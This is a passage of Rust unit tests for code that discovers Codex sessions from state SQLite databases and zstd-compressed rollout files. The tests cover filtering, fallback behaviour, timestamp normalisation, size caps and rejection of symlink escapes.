let cwd = root.join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
|
||||
let updated = now - Duration::from_secs(2);
|
||||
let updated_ms = millis_from_system_time(updated).unwrap();
|
||||
let rollout_dir = root.join("sessions/2026/01/01");
|
||||
fs::create_dir_all(&rollout_dir).unwrap();
|
||||
let old_rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(1));
|
||||
fs::write(&old_rollout, "").unwrap();
|
||||
create_db(
|
||||
&root.join("state_5.sqlite"),
|
||||
&[DbRow {
|
||||
id: uuid::Uuid::from_u128(1),
|
||||
rollout_path: &old_rollout,
|
||||
updated_at_ms: updated_ms,
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "old generation",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
|
||||
let rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(2));
|
||||
fs::write(&rollout, "").unwrap();
|
||||
let compressed_plain = rollout_path(&rollout_dir, uuid::Uuid::from_u128(3));
|
||||
fs::write(format!("{}.zst", compressed_plain.display()), "").unwrap();
|
||||
let chatgpt_rollout = rollout_path(&rollout_dir, uuid::Uuid::from_u128(9));
|
||||
fs::write(&chatgpt_rollout, "").unwrap();
|
||||
let missing = rollout_path(&rollout_dir, uuid::Uuid::from_u128(5));
|
||||
let stale_ms = millis_from_system_time(
|
||||
now - super::super::super::MAX_SESSION_AGE - Duration::from_secs(1),
|
||||
)
|
||||
.unwrap();
|
||||
create_db(
|
||||
&root.join("state_9.sqlite"),
|
||||
&[
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(2),
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: updated_ms,
|
||||
source: "vscode",
|
||||
cwd: &cwd,
|
||||
title: "",
|
||||
first_user_message: "fallback title",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(3),
|
||||
rollout_path: &compressed_plain,
|
||||
updated_at_ms: updated_ms - 1,
|
||||
source: r#"{"custom":"atlas"}"#,
|
||||
cwd: &cwd,
|
||||
title: "compressed",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(9),
|
||||
rollout_path: &chatgpt_rollout,
|
||||
updated_at_ms: updated_ms - 2,
|
||||
source: r#"{"custom":"chatgpt"}"#,
|
||||
cwd: &cwd,
|
||||
title: "chatgpt",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(4),
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: updated_ms,
|
||||
source: r#"{"subagent":"review"}"#,
|
||||
cwd: &cwd,
|
||||
title: "subagent",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(5),
|
||||
rollout_path: &missing,
|
||||
updated_at_ms: updated_ms,
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "missing",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(6),
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: stale_ms,
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "stale",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(7),
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: updated_ms,
|
||||
source: "cli",
|
||||
cwd: Path::new("/other"),
|
||||
title: "wrong cwd",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(8),
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: updated_ms,
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "archived",
|
||||
first_user_message: "",
|
||||
archived: true,
|
||||
},
|
||||
],
|
||||
);
|
||||
|
||||
let sessions = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(
|
||||
sessions
|
||||
.iter()
|
||||
.map(|session| session.title.as_str())
|
||||
.collect::<Vec<_>>(),
|
||||
vec!["fallback title", "compressed", "chatgpt"]
|
||||
);
|
||||
assert_eq!(sessions[0].updated_at, updated);
|
||||
assert_eq!(sessions[0].source, ForeignSessionSource::CodexVsCode);
|
||||
assert_eq!(sessions[1].source, ForeignSessionSource::CodexAtlas);
|
||||
assert_eq!(sessions[2].source, ForeignSessionSource::CodexChatGpt);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_newer_database_uses_older_nonempty_generation() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let rollout_dir = root.join("sessions/2027/01/15");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&rollout_dir).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_050_000);
|
||||
let id = uuid::Uuid::from_u128(40);
|
||||
let rollout = rollout_path(&rollout_dir, id);
|
||||
fs::write(&rollout, "").unwrap();
|
||||
create_db(
|
||||
&root.join("state_9.sqlite"),
|
||||
&[DbRow {
|
||||
id,
|
||||
rollout_path: &rollout,
|
||||
updated_at_ms: millis_from_system_time(now).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "older nonempty generation",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
create_db(&root.join("state_10.sqlite"), &[]);
|
||||
|
||||
let sessions = scan_in_home(&root, &cwd, now);
|
||||
|
||||
assert_eq!(sessions.len(), 1);
|
||||
assert_eq!(sessions[0].native_id, id.to_string());
|
||||
assert_eq!(sessions[0].title, "older nonempty generation");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_databases_fall_back_to_rollout_files() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_100_000);
|
||||
let day = session_day(root.path(), now);
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
let id = uuid::Uuid::from_u128(41);
|
||||
let rollout = rollout_path(&day, id);
|
||||
let contents = [
|
||||
json!({
|
||||
"type": "session_meta",
|
||||
"payload": {
|
||||
"id": id,
|
||||
"cwd": cwd.display().to_string(),
|
||||
"source": "cli"
|
||||
}
|
||||
}),
|
||||
json!({
|
||||
"type": "event_msg",
|
||||
"payload": {
|
||||
"type": "user_message",
|
||||
"message": "rollout fallback"
|
||||
}
|
||||
}),
|
||||
]
|
||||
.into_iter()
|
||||
.map(|record| record.to_string())
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
fs::write(&rollout, contents).unwrap();
|
||||
touch(&rollout, now);
|
||||
create_db(&root.path().join("state_10.sqlite"), &[]);
|
||||
|
||||
let sessions = scan_in_home(root.path(), &cwd, now);
|
||||
|
||||
assert_eq!(sessions.len(), 1);
|
||||
assert_eq!(sessions[0].native_id, id.to_string());
|
||||
assert_eq!(sessions[0].title, "rollout fallback");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn database_window_qualifies_past_invalid_rows() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_200_000);
|
||||
let valid_id = uuid::Uuid::from_u128(500);
|
||||
let valid_path = rollout_path(&sessions, valid_id);
|
||||
fs::write(&valid_path, "").unwrap();
|
||||
let db_path = root.join("state_10.sqlite");
|
||||
create_db(
|
||||
&db_path,
|
||||
&[DbRow {
|
||||
id: valid_id,
|
||||
rollout_path: &valid_path,
|
||||
updated_at_ms: millis_from_system_time(now - Duration::from_secs(100)).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "valid after window",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
for i in 0..60_u128 {
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'invalid', '', 0, NULL)",
|
||||
params![
|
||||
uuid::Uuid::from_u128(1_000 + i).to_string(),
|
||||
sessions
|
||||
.join(format!("missing-{i}.jsonl"))
|
||||
.display()
|
||||
.to_string(),
|
||||
millis_from_system_time(now - Duration::from_secs(i as u64)).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
for i in 0..220_u128 {
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, 'subagent', '', 0, NULL)",
|
||||
params![
|
||||
uuid::Uuid::from_u128(2_000 + i).to_string(),
|
||||
valid_path.display().to_string(),
|
||||
millis_from_system_time(now - Duration::from_secs(i as u64)).unwrap(),
|
||||
r#"{"subagent":"review"}"#,
|
||||
cwd.display().to_string(),
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
drop(connection);
|
||||
let found = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(found.len(), 1);
|
||||
assert_eq!(found[0].title, "valid after window");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn database_window_normalizes_units_and_filters_future_rows_before_limit() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_250_000);
|
||||
let valid_id = uuid::Uuid::from_u128(2_500);
|
||||
let valid_path = rollout_path(&sessions, valid_id);
|
||||
fs::write(&valid_path, "").unwrap();
|
||||
let db_path = root.join("state_10.sqlite");
|
||||
create_db(
|
||||
&db_path,
|
||||
&[DbRow {
|
||||
id: valid_id,
|
||||
rollout_path: &valid_path,
|
||||
updated_at_ms: i64::try_from(
|
||||
(now - Duration::from_secs(1))
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs(),
|
||||
)
|
||||
.unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "newer seconds row",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
for (prefix, offset) in [
|
||||
("stale", -(10 * 24 * 60 * 60_i64)),
|
||||
("future", 24 * 60 * 60),
|
||||
] {
|
||||
for i in 0..205_u128 {
|
||||
let timestamp = if offset < 0 {
|
||||
now - Duration::from_secs((-offset) as u64 + i as u64)
|
||||
} else {
|
||||
now + Duration::from_secs(offset as u64 + i as u64)
|
||||
};
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, ?5, '', 0, NULL)",
|
||||
params![
|
||||
uuid::Uuid::from_u128(3_000 + i + if offset > 0 { 1_000 } else { 0 })
|
||||
.to_string(),
|
||||
sessions
|
||||
.join(format!("missing-{prefix}-{i}.jsonl"))
|
||||
.display()
|
||||
.to_string(),
|
||||
millis_from_system_time(timestamp).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
prefix,
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
}
|
||||
drop(connection);
|
||||
let found = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(found.len(), 1);
|
||||
assert_eq!(found[0].title, "newer seconds row");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn each_required_sql_predicate_protects_the_candidate_window() {
|
||||
for case in 0..5_u128 {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_260_000 + case as u64);
|
||||
let valid_id = uuid::Uuid::from_u128(6_000 + case);
|
||||
let valid_path = rollout_path(&sessions, valid_id);
|
||||
fs::write(&valid_path, "").unwrap();
|
||||
let db_path = root.join("state_10.sqlite");
|
||||
create_db(
|
||||
&db_path,
|
||||
&[DbRow {
|
||||
id: valid_id,
|
||||
rollout_path: &valid_path,
|
||||
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "valid required row",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
for i in 0..201_u128 {
|
||||
let id_text = uuid::Uuid::from_u128(7_000 + i).to_string();
|
||||
let mut id = SqlValue::Text(id_text.clone());
|
||||
let rollout_text = sessions
|
||||
.join(format!("missing-required-{case}-{i}.jsonl"))
|
||||
.display()
|
||||
.to_string();
|
||||
let mut rollout = SqlValue::Text(rollout_text.clone());
|
||||
let mut updated = SqlValue::Integer(millis_from_system_time(now).unwrap());
|
||||
let source = SqlValue::Text("cli".to_owned());
|
||||
let stored_cwd = SqlValue::Text(cwd.display().to_string());
|
||||
match case {
|
||||
0 => id = SqlValue::Blob(id_text.into_bytes()),
|
||||
1 => id = SqlValue::Text(oversized_text(64, i % 2 == 1)),
|
||||
2 => rollout = SqlValue::Blob(rollout_text.into_bytes()),
|
||||
3 => rollout = SqlValue::Text(oversized_text(16 * 1024, i % 2 == 1)),
|
||||
_ => updated = SqlValue::Real(millis_from_system_time(now).unwrap() as f64 + 0.5),
|
||||
}
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, 'invalid', '', 0, NULL)",
|
||||
params![id, rollout, updated, source, stored_cwd],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
drop(connection);
|
||||
let found = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(found.len(), 1, "required predicate case {case}");
|
||||
assert_eq!(found[0].native_id, valid_id.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn optional_codex_metadata_degrades_without_dropping_rows() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_270_000);
|
||||
let db_path = root.join("state_10.sqlite");
|
||||
create_db(&db_path, &[]);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
let expected = [
|
||||
"fallback oversized title",
|
||||
"fallback wrong title type",
|
||||
"title with oversized fallback",
|
||||
"title with wrong fallback type",
|
||||
"title with oversized branch",
|
||||
"title with wrong branch type",
|
||||
];
|
||||
for (index, expected_title) in expected.iter().enumerate() {
|
||||
let id = uuid::Uuid::from_u128(8_000 + index as u128);
|
||||
let path = rollout_path(&sessions, id);
|
||||
fs::write(&path, "").unwrap();
|
||||
let mut title = SqlValue::Text((*expected_title).to_owned());
|
||||
let mut first = SqlValue::Text((*expected_title).to_owned());
|
||||
let mut branch = SqlValue::Text("main".to_owned());
|
||||
match index {
|
||||
0 => title = SqlValue::Text(oversized_text(64 * 1024, false)),
|
||||
1 => title = SqlValue::Blob(b"wrong title".to_vec()),
|
||||
2 => first = SqlValue::Text(oversized_text(64 * 1024, true)),
|
||||
3 => first = SqlValue::Blob(b"wrong fallback".to_vec()),
|
||||
4 => branch = SqlValue::Text(oversized_text(4 * 1024, false)),
|
||||
_ => branch = SqlValue::Blob(b"wrong branch".to_vec()),
|
||||
}
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, ?5, ?6, 0, ?7)",
|
||||
params![
|
||||
id.to_string(),
|
||||
path.display().to_string(),
|
||||
millis_from_system_time(now - Duration::from_secs(index as u64)).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
title,
|
||||
first,
|
||||
branch,
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
drop(connection);
|
||||
let found = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(found.len(), expected.len());
|
||||
for (index, expected_title) in expected.iter().enumerate() {
|
||||
let id = uuid::Uuid::from_u128(8_000 + index as u128).to_string();
|
||||
let session = found
|
||||
.iter()
|
||||
.find(|session| session.native_id == id)
|
||||
.unwrap();
|
||||
assert_eq!(session.title, *expected_title);
|
||||
if index >= 4 {
|
||||
assert_eq!(session.branch, None);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_database_probes_have_a_supported_generation_ceiling() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
for i in 0..100 {
|
||||
fs::write(root.join(format!("unrelated-{i:03}")), "").unwrap();
|
||||
}
|
||||
fs::write(root.join("state_2.sqlite"), "").unwrap();
|
||||
let boundary = root.join(format!("state_{MAX_STATE_DB_GENERATION}.sqlite"));
|
||||
let beyond = root.join(format!("state_{}.sqlite", MAX_STATE_DB_GENERATION + 1));
|
||||
fs::write(&boundary, "").unwrap();
|
||||
fs::write(&beyond, "").unwrap();
|
||||
let approved_root = ApprovedRoot::new(&root).unwrap();
|
||||
assert_eq!(
|
||||
state_databases(&approved_root).collect::<Vec<_>>(),
|
||||
vec![boundary.clone(), root.join("state_2.sqlite")]
|
||||
);
|
||||
fs::remove_file(boundary).unwrap();
|
||||
assert_eq!(
|
||||
state_databases(&approved_root).collect::<Vec<_>>(),
|
||||
vec![root.join("state_2.sqlite")]
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn state_database_probe_rejects_symlink_escape() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let codex_home = root.path().join("codex");
|
||||
fs::create_dir_all(&codex_home).unwrap();
|
||||
let outside = root.path().join("outside.sqlite");
|
||||
fs::write(&outside, "").unwrap();
|
||||
std::os::unix::fs::symlink(
|
||||
&outside,
|
||||
codex_home.join(format!("state_{MAX_STATE_DB_GENERATION}.sqlite")),
|
||||
)
|
||||
.unwrap();
|
||||
let approved_root = ApprovedRoot::new(&codex_home).unwrap();
|
||||
assert!(state_databases(&approved_root).next().is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn normalizes_legacy_seconds_and_millis_then_uses_shared_recency() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
|
||||
let expected = now - Duration::from_secs(10);
|
||||
let seconds = 1_799_999_990_i64;
|
||||
let millis = millis_from_system_time(expected).unwrap();
|
||||
assert_eq!(
|
||||
super::super::db::normalize_updated_at(seconds),
|
||||
Some(expected)
|
||||
);
|
||||
assert_eq!(
|
||||
super::super::db::normalize_updated_at(millis),
|
||||
Some(expected)
|
||||
);
|
||||
let future = now + Duration::from_secs(24 * 60 * 60);
|
||||
assert_eq!(
|
||||
super::super::db::normalize_updated_at(millis_from_system_time(future).unwrap()),
|
||||
Some(future)
|
||||
);
|
||||
assert!(!super::super::super::is_within(
|
||||
future,
|
||||
now,
|
||||
super::super::super::MAX_SESSION_AGE,
|
||||
));
|
||||
}
|
||||
@@ -0,0 +1,445 @@
|
||||
use super::*;
|
||||
|
||||
fn rollout_records(id: uuid::Uuid, cwd: &Path, source: serde_json::Value, title: &str) -> String {
|
||||
[
|
||||
json!({
|
||||
"type": "session_meta",
|
||||
"payload": {
|
||||
"id": id,
|
||||
"cwd": cwd.display().to_string(),
|
||||
"source": source
|
||||
}
|
||||
}),
|
||||
json!({
|
||||
"type": "event_msg",
|
||||
"payload": {"type": "user_message", "message": title}
|
||||
}),
|
||||
]
|
||||
.into_iter()
|
||||
.map(|record| record.to_string())
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_fallback_skips_excluded_sources_and_wrong_cwds() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_090_000);
|
||||
let day = session_day(root.path(), now);
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
let excluded = uuid::Uuid::from_u128(10);
|
||||
let custom = uuid::Uuid::from_u128(13);
|
||||
let wrong_cwd = uuid::Uuid::from_u128(11);
|
||||
let winner = uuid::Uuid::from_u128(12);
|
||||
for (id, stored_cwd, source, age) in [
|
||||
(
|
||||
excluded,
|
||||
cwd.as_path(),
|
||||
json!({"subagent":"review"}),
|
||||
Duration::ZERO,
|
||||
),
|
||||
(
|
||||
custom,
|
||||
cwd.as_path(),
|
||||
json!({"custom":"atlas"}),
|
||||
Duration::from_millis(500),
|
||||
),
|
||||
(
|
||||
wrong_cwd,
|
||||
Path::new("/other"),
|
||||
json!("cli"),
|
||||
Duration::from_secs(1),
|
||||
),
|
||||
(
|
||||
winner,
|
||||
cwd.as_path(),
|
||||
json!("vscode"),
|
||||
Duration::from_secs(2),
|
||||
),
|
||||
] {
|
||||
let path = day.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
|
||||
fs::write(&path, rollout_records(id, stored_cwd, source, "")).unwrap();
|
||||
touch(&path, now - age);
|
||||
}
|
||||
|
||||
let found = most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)).unwrap();
|
||||
assert_eq!(found.native_id, winner.to_string());
|
||||
assert_eq!(found.source, ForeignSessionSource::CodexVsCode);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_fallback_fails_closed_at_directory_entry_cap() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_095_000);
|
||||
let day = session_day(root.path(), now);
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
write_recent_rollout(
|
||||
root.path(),
|
||||
&cwd,
|
||||
now,
|
||||
uuid::Uuid::from_u128(15),
|
||||
json!("cli"),
|
||||
);
|
||||
for index in 0..super::super::files::MAX_RECENT_DIRECTORY_ENTRIES {
|
||||
fs::write(day.join(format!("junk-{index:03}")), "").unwrap();
|
||||
}
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_fallback_includes_old_creation_directory_with_fresh_mtime() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_097_000);
|
||||
let created_at = now - Duration::from_secs(10 * 24 * 60 * 60);
|
||||
let day = session_day(root.path(), created_at);
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
let id = uuid::Uuid::from_u128(16);
|
||||
let path = rollout_path(&day, id);
|
||||
fs::write(&path, rollout_records(id, &cwd, json!("cli"), "")).unwrap();
|
||||
touch(&path, now);
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600))
|
||||
.unwrap()
|
||||
.native_id,
|
||||
id.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn falls_back_to_bounded_plain_and_compressed_heads() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_100_000);
|
||||
let day = session_day(root.path(), now);
|
||||
let valid_day = session_day(root.path(), now - Duration::from_secs(24 * 60 * 60));
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
fs::create_dir_all(&valid_day).unwrap();
|
||||
|
||||
let plain_id = uuid::Uuid::from_u128(20);
|
||||
let plain = valid_day.join(format!("rollout-1970-05-08T12-00-00-{plain_id}.jsonl"));
|
||||
fs::write(
|
||||
&plain,
|
||||
format!(
|
||||
"{{malformed\n{}",
|
||||
rollout_records(plain_id, &cwd, json!("cli"), "filesystem title")
|
||||
),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&plain, now);
|
||||
|
||||
let compressed_id = uuid::Uuid::from_u128(21);
|
||||
let compressed = valid_day.join(format!(
|
||||
"rollout-1970-05-08T12-00-01-{compressed_id}.jsonl.zst"
|
||||
));
|
||||
let compressed_head = rollout_records(compressed_id, &cwd, json!("vscode"), "compressed title");
|
||||
fs::write(
|
||||
&compressed,
|
||||
zstd::encode_all(compressed_head.as_bytes(), 1).unwrap(),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&compressed, now - Duration::from_secs(1));
|
||||
|
||||
let malformed_id = uuid::Uuid::from_u128(22);
|
||||
let malformed = valid_day.join(format!(
|
||||
"rollout-1970-05-08T12-00-02-{malformed_id}.jsonl.zst"
|
||||
));
|
||||
fs::write(&malformed, b"not a zstd frame").unwrap();
|
||||
touch(&malformed, now - Duration::from_secs(2));
|
||||
|
||||
let concatenated_id = uuid::Uuid::from_u128(23);
|
||||
let concatenated_path = valid_day.join(format!(
|
||||
"rollout-1970-05-08T12-00-03-{concatenated_id}.jsonl.zst"
|
||||
));
|
||||
let mut concatenated = zstd::encode_all(
|
||||
json!({"type":"event_msg","payload":{"type":"user_message","message":"frame one"}})
|
||||
.to_string()
|
||||
.as_bytes(),
|
||||
1,
|
||||
)
|
||||
.unwrap();
|
||||
concatenated.extend(
|
||||
zstd::encode_all(
|
||||
rollout_records(
|
||||
concatenated_id,
|
||||
&cwd,
|
||||
json!("cli"),
|
||||
"must not read frame two",
|
||||
)
|
||||
.as_bytes(),
|
||||
1,
|
||||
)
|
||||
.unwrap(),
|
||||
);
|
||||
fs::write(&concatenated_path, concatenated).unwrap();
|
||||
touch(&concatenated_path, now - Duration::from_secs(3));
|
||||
|
||||
let skippable_id = uuid::Uuid::from_u128(24);
|
||||
let skippable_path = valid_day.join(format!(
|
||||
"rollout-1970-05-08T12-00-04-{skippable_id}.jsonl.zst"
|
||||
));
|
||||
let payload_len = super::super::files::MAX_COMPRESSED_HEAD_BYTES + 1024;
|
||||
let mut skippable = Vec::with_capacity(payload_len + 8);
|
||||
skippable.extend(0x184D_2A50_u32.to_le_bytes());
|
||||
skippable.extend(u32::try_from(payload_len).unwrap().to_le_bytes());
|
||||
skippable.resize(8 + payload_len, 0);
|
||||
skippable.extend(
|
||||
zstd::encode_all(
|
||||
rollout_records(skippable_id, &cwd, json!("cli"), "beyond compressed cap").as_bytes(),
|
||||
1,
|
||||
)
|
||||
.unwrap(),
|
||||
);
|
||||
fs::write(&skippable_path, &skippable).unwrap();
|
||||
assert!(skippable.len() > super::super::files::MAX_COMPRESSED_HEAD_BYTES);
|
||||
touch(&skippable_path, now - Duration::from_secs(4));
|
||||
|
||||
let window_id = uuid::Uuid::from_u128(25);
|
||||
let window_path = valid_day.join(format!("rollout-1970-05-08T12-00-05-{window_id}.jsonl.zst"));
|
||||
let window_head = rollout_records(window_id, &cwd, json!("cli"), "oversized window");
|
||||
let mut encoder = zstd::Encoder::new(Vec::new(), 1).unwrap();
|
||||
encoder
|
||||
.window_log(super::super::files::MAX_ZSTD_WINDOW_LOG + 1)
|
||||
.unwrap();
|
||||
encoder.include_contentsize(false).unwrap();
|
||||
encoder.write_all(window_head.as_bytes()).unwrap();
|
||||
let window_frame = encoder.finish().unwrap();
|
||||
assert_eq!(
|
||||
zstd::decode_all(window_frame.as_slice()).unwrap(),
|
||||
window_head.as_bytes()
|
||||
);
|
||||
let mut limited = zstd::Decoder::new(window_frame.as_slice()).unwrap();
|
||||
limited
|
||||
.window_log_max(super::super::files::MAX_ZSTD_WINDOW_LOG)
|
||||
.unwrap();
|
||||
let mut limited_output = Vec::new();
|
||||
assert!(limited.read_to_end(&mut limited_output).is_err());
|
||||
fs::write(&window_path, window_frame).unwrap();
|
||||
touch(&window_path, now - Duration::from_secs(5));
|
||||
|
||||
let output_id = uuid::Uuid::from_u128(26);
|
||||
let output_path = valid_day.join(format!("rollout-1970-05-08T12-00-06-{output_id}.jsonl.zst"));
|
||||
let output_head = format!(
|
||||
"{}\n{}",
|
||||
"x".repeat(super::super::files::MAX_HEAD_BYTES + 1),
|
||||
rollout_records(output_id, &cwd, json!("cli"), "beyond output cap")
|
||||
);
|
||||
let output_frame = zstd::encode_all(output_head.as_bytes(), 1).unwrap();
|
||||
assert!(
|
||||
String::from_utf8(zstd::decode_all(output_frame.as_slice()).unwrap())
|
||||
.unwrap()
|
||||
.contains(&output_id.to_string())
|
||||
);
|
||||
fs::write(&output_path, output_frame).unwrap();
|
||||
touch(&output_path, now - Duration::from_secs(6));
|
||||
|
||||
for i in 0..520_u128 {
|
||||
let id = uuid::Uuid::from_u128(100 + i);
|
||||
let path = day.join(format!("rollout-1970-05-08T12-01-00-{id}.jsonl"));
|
||||
fs::write(
|
||||
&path,
|
||||
rollout_records(id, &cwd, json!({"subagent":"review"}), "excluded source"),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&path, now - Duration::from_secs(i as u64 + 1));
|
||||
}
|
||||
|
||||
let sessions = scan_in_home(root.path(), &cwd, now);
|
||||
assert_eq!(sessions.len(), 2);
|
||||
assert_eq!(sessions[0].native_id, plain_id.to_string());
|
||||
assert_eq!(sessions[0].title, "filesystem title");
|
||||
